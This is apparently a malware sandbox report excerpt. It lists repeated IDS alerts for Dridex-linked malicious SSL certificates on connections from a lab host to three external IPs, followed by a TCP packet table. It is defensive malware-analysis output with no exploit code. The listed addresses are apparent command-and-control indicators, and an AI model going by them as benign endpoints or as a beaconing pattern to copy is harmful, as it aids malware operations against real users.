01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49284 5.100.228.233 192.168.2.22
07:40:57.255002

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49284 5.100.228.233 192.168.2.22
07:40:57.255002

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49286 77.220.64.37 192.168.2.22
07:40:58.289483

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49287 80.86.91.27  192.168.2.22
07:40:58.810733

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49288 5.100.228.233 192.168.2.22
07:40:59.330128

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49288 5.100.228.233 192.168.2.22
07:40:59.330128

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49290 77.220.64.37 192.168.2.22
07:41:00.361535

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49291 80.86.91.27  192.168.2.22
07:41:00.883725

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49292 5.100.228.233 192.168.2.22
07:41:01.393800

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49292 5.100.228.233 192.168.2.22
07:41:01.393800

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49294  77.220.64.37 192.168.2.22
07:41:02.555784

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49295 80.86.91.27  192.168.2.22

07:41:03.225375

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49296  5.100.228.233 192.168.2.22
07:41:04.101775

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49296  5.100.228.233 192.168.2.22
07:41:04.101775

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49298 77.220.64.37 192.168.2.22
07:41:05.159917

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49299 80.86.91.27  192.168.2.22
07:41:05.674749

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49300 5.100.228.233 192.168.2.22
07:41:06.191113

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49300 5.100.228.233 192.168.2.22
07:41:06.191113

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49302 77.220.64.37 192.168.2.22
07:41:07.252962

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49303 80.86.91.27  192.168.2.22
07:41:07.764923

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49304 5.100.228.233 192.168.2.22
07:41:08.271657
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01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49304 5.100.228.233 192.168.2.22
07:41:08.271657

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49306 77.220.64.37 192.168.2.22
07:41:09.305661

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49307 80.86.91.27  192.168.2.22
07:41:09.804909

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49308 5.100.228.233 192.168.2.22
07:41:10.328765

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49308 5.100.228.233 192.168.2.22
07:41:10.328765

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49310 77.220.64.37 192.168.2.22
07:41:11.370777

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49311 80.86.91.27  192.168.2.22
07:41:11.881780

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49312 5.100.228.233 192.168.2.22
07:41:12.399154

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49312 5.100.228.233 192.168.2.22
07:41:12.399154

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49314  77.220.64.37 192.168.2.22
07:41:13.430651

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49315 80.86.91.27  192.168.2.22
07:41:13.962265

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49316 5.100.228.233 192.168.2.22
07:41:14.471359

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49316 5.100.228.233 192.168.2.22
07:41:14.471359

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49318  77.220.64.37 192.168.2.22
07:41:15.507911

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49319 80.86.91.27  192.168.2.22
07:41:16.017955

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49320 5.100.228.233 192.168.2.22
07:41:16.526262

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49320 5.100.228.233 192.168.2.22
07:41:16.526262

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49322  77.220.64.37 192.168.2.22
07:41:17.549895

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49323 80.86.91.27  192.168.2.22
07:41:18.061063

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49324 5.100.228.233 192.168.2.22
07:41:18.596816

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49324 5.100.228.233 192.168.2.22
07:41:18.596816

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49326 77.220.64.37 192.168.2.22
07:41:19.650753

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49327 80.86.91.27  192.168.2.22
07:41:20.246706

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49328 5.100.228.233 192.168.2.22
07:41:21.069741

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49328 5.100.228.233 192.168.2.22
07:41:21.069741

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49330 77.220.64.37 192.168.2.22

07:41:22.122326

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49331 80.86.91.27  192.168.2.22
07:41:22.658452

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49332  5.100.228.233 192.168.2.22
07:41:23.182733

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49332  5.100.228.233 192.168.2.22
07:41:23.182733

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49334 77.220.64.37 192.168.2.22
07:41:24.215425

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49335 80.86.91.27  192.168.2.22
07:41:24.739077

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49336 5.100.228.233 192.168.2.22
07:41:25.248721

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49336 5.100.228.233 192.168.2.22
07:41:25.248721

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49338 77.220.64.37 192.168.2.22
07:41:26.255388

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49339 80.86.91.27  192.168.2.22
07:41:26.764994

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49340 5.100.228.233 192.168.2.22
07:41:27.274574

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49340 5.100.228.233 192.168.2.22
07:41:27.274574
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01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49342  77.220.64.37 192.168.2.22
07:41:28.283557

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49343 80.86.91.27  192.168.2.22
07:41:28.807811

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49344 5.100.228.233 192.168.2.22
07:41:29.329163

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49344 5.100.228.233 192.168.2.22
07:41:29.329163

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49346 77.220.64.37 192.168.2.22
07:41:30.358276

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49347 80.86.91.27  192.168.2.22
07:41:30.871503

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49348 5.100.228.233 192.168.2.22
07:41:31.379307

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49348 5.100.228.233 192.168.2.22
07:41:31.379307

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49350 77.220.64.37 192.168.2.22
07:41:32.385092

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49351 80.86.91.27  192.168.2.22
07:41:32.895054

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49352 5.100.228.233 192.168.2.22
07:41:33.403843

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49352 5.100.228.233 192.168.2.22
07:41:33.403843

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49354  77.220.64.37 192.168.2.22
07:41:34.450143

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49355 80.86.91.27  192.168.2.22
07:41:35.332941

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49356 5.100.228.233 192.168.2.22
07:41:35.858167

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49356 5.100.228.233 192.168.2.22
07:41:35.858167

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49358  77.220.64.37 192.168.2.22
07:41:36.894236

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49359 80.86.91.27  192.168.2.22
07:41:37.427318

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49360 5.100.228.233 192.168.2.22
07:41:37.960157

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49360 5.100.228.233 192.168.2.22
07:41:37.960157

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49362 77.220.64.37 192.168.2.22
07:41:39.306800

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49363 80.86.91.27  192.168.2.22
07:41:39.827898

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49364 5.100.228.233 192.168.2.22
07:41:40.345753

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49364 5.100.228.233 192.168.2.22
07:41:40.345753

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49366 77.220.64.37 192.168.2.22
07:41:41.457152

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49367 80.86.91.27  192.168.2.22
07:41:42.008408

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49368 5.100.228.233 192.168.2.22
07:41:42.533262

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49368 5.100.228.233 192.168.2.22
07:41:42.533262

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49370 77.220.64.37 192.168.2.22
07:41:43.569616

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49371 80.86.91.27  192.168.2.22
07:41:44.092876

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49372 5.100.228.233 192.168.2.22
07:41:44.599102

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49372 5.100.228.233 192.168.2.22
07:41:44.599102

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49374 77.220.64.37 192.168.2.22

07:41:45.630964

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49375 80.86.91.27  192.168.2.22
07:41:46.144235

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49376  5.100.228.233 192.168.2.22
07:41:46.650029

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49376  5.100.228.233 192.168.2.22
07:41:46.650029

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49378 77.220.64.37 192.168.2.22
07:41:47.679960
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01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49379 80.86.91.27  192.168.2.22
07:41:48.204647

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49380 5.100.228.233 192.168.2.22
07:41:48.713113

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49380 5.100.228.233 192.168.2.22
07:41:48.713113

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49382  77.220.64.37 192.168.2.22
07:41:49.740036

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49383 80.86.91.27  192.168.2.22
07:41:50.282849

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49384 5.100.228.233 192.168.2.22
07:41:50.810903

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49384 5.100.228.233 192.168.2.22
07:41:50.810903

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49386 77.220.64.37 192.168.2.22
07:41:51.841462

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49387 80.86.91.27  192.168.2.22
07:41:52.369234

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49388 5.100.228.233 192.168.2.22
07:41:52.877261

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49388 5.100.228.233 192.168.2.22
07:41:52.877261

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49390 77.220.64.37 192.168.2.22
07:41:53.904021

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49391 80.86.91.27  192.168.2.22
07:41:54.426840

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49392 5.100.228.233 192.168.2.22
07:41:54.948754

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49392 5.100.228.233 192.168.2.22
07:41:54.948754

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49394  77.220.64.37 192.168.2.22
07:41:55.980370

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49395 80.86.91.27  192.168.2.22
07:41:56.511843

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49396 5.100.228.233 192.168.2.22
07:41:57.028666

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49396 5.100.228.233 192.168.2.22
07:41:57.028666

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49398  77.220.64.37 192.168.2.22
07:41:58.081725

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49399 80.86.91.27  192.168.2.22
07:41:58.590307

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49400 5.100.228.233 192.168.2.22
07:41:59.116435

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49400 5.100.228.233 192.168.2.22
07:41:59.116435

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49402  77.220.64.37 192.168.2.22
07:42:00.176278

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49403 80.86.91.27  192.168.2.22
07:42:00.709693

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49404 5.100.228.233 192.168.2.22
07:42:01.219815

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49404 5.100.228.233 192.168.2.22
07:42:01.219815

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49406 77.220.64.37 192.168.2.22
07:42:02.247073

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49407 80.86.91.27  192.168.2.22
07:42:02.755637

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49408 5.100.228.233 192.168.2.22
07:42:03.281436

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49408 5.100.228.233 192.168.2.22
07:42:03.281436

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49410 77.220.64.37 192.168.2.22
07:42:04.306580

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49411 80.86.91.27  192.168.2.22
07:42:04.834674

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49412 5.100.228.233 192.168.2.22
07:42:05.352300

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49412 5.100.228.233 192.168.2.22
07:42:05.352300

Network Port Distribution
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Total Packets: 46

® 53 (DNS)
® 443 (HTTPS)

TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Jan 12, 2021 07:39:44.707056999 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:44.757510900 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:44.757617950 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:44.770828962 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:44.821204901 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:44.823672056 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:44.823704958 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:44.823832989 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:44.833878040 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:44.884164095 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:44.884217024 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:44.884305000 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:45.110754967 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:45.161001921 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:45.866411924 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:45.866445065 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:45.866467953 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:45.866489887 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:45.866514921 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:45.866539001 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:45.866561890 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:45.866584063 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:45.866626024 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:45.868046045 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:46.032404900 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.032433033 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.032552958 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.032577991 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.032624006 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:46.033785105 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.033813000 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.033829927 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:46.033843994 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:46.033865929 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:46.034933090 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.034965038 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.035003901 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:46.035018921 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:46.036092043 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.036118031 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.036149025 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:46.036163092 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:46.037291050 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.037318945 CET 443 49165 104.27.153.52 192.168.2.22
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Timestamp Source Port Dest Port Source IP Dest IP

Jan 12, 2021 07:39:46.037349939 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:46.037360907 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:46.038445950 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.038475037 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.038499117 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:46.038508892 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:46.039661884 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.039689064 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.039717913 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:46.039731026 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:46.040788889 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.040817022 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.040843964 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:46.041995049 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.042027950 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.042037964 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:46.042049885 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:46.042066097 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:46.200309038 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.200340033 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.200469017 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.200494051 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.200530052 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:46.200572014 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:46.201702118 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.201731920 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.201927900 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:46.202847004 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.202879906 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.202986956 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:46.204013109 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.204041004 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.204138041 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:46.205204964 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.205235004 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.205296993 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:46.206374884 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.206408024 CET 443 49165 104.27.153.52 192.168.2.22
